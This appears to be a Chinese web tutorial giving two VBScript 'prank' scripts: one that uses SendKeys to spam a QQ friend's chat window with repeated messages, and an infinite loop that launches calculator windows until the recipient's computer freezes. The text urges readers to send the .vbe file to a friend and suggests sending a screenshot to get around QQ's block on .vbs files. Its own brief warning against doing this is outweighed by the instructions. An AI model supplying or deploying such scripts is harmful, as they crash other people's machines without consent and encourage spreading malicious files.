打开一个记事本,把代码输入进去,然后把格式改成VBS。
然后一保存,OK啦,(样子是中间有一个蓝色卷轴。)
接着,只要把这个做好的VBS文件发给他,就可以了,不用
再动别的,只要静静等待他被整,
例外话:我劝你还是别发这些,有点缺德的那种感
觉,给人不好的感受。
记住上面这句话。
打开好友的聊天对话框,然后记下在QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
打开一个记事本,把代码输入进去,然后把格式改成VBS。
然后一保存,OK啦!(样子是中间有一个蓝色卷轴。)
接着,只要把这个做好的VBS文件发给他,就可以了,不用
再动别的,只要静静等待他被整!
例外话:我劝你还是别发这些,有点缺德的那种感
觉,给人不好的感受。
记住上面这句话!
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
将以上代码输入一个记事本,保存为后缀是.vbe的文件。然后类别把“文本文档”改成所有文件。保存。打开之后,会跳出无数个计算器。直到死机。
把这个发给你好友。
用QQ发不了vbs! 你可以尝试截图下来
标签:vbs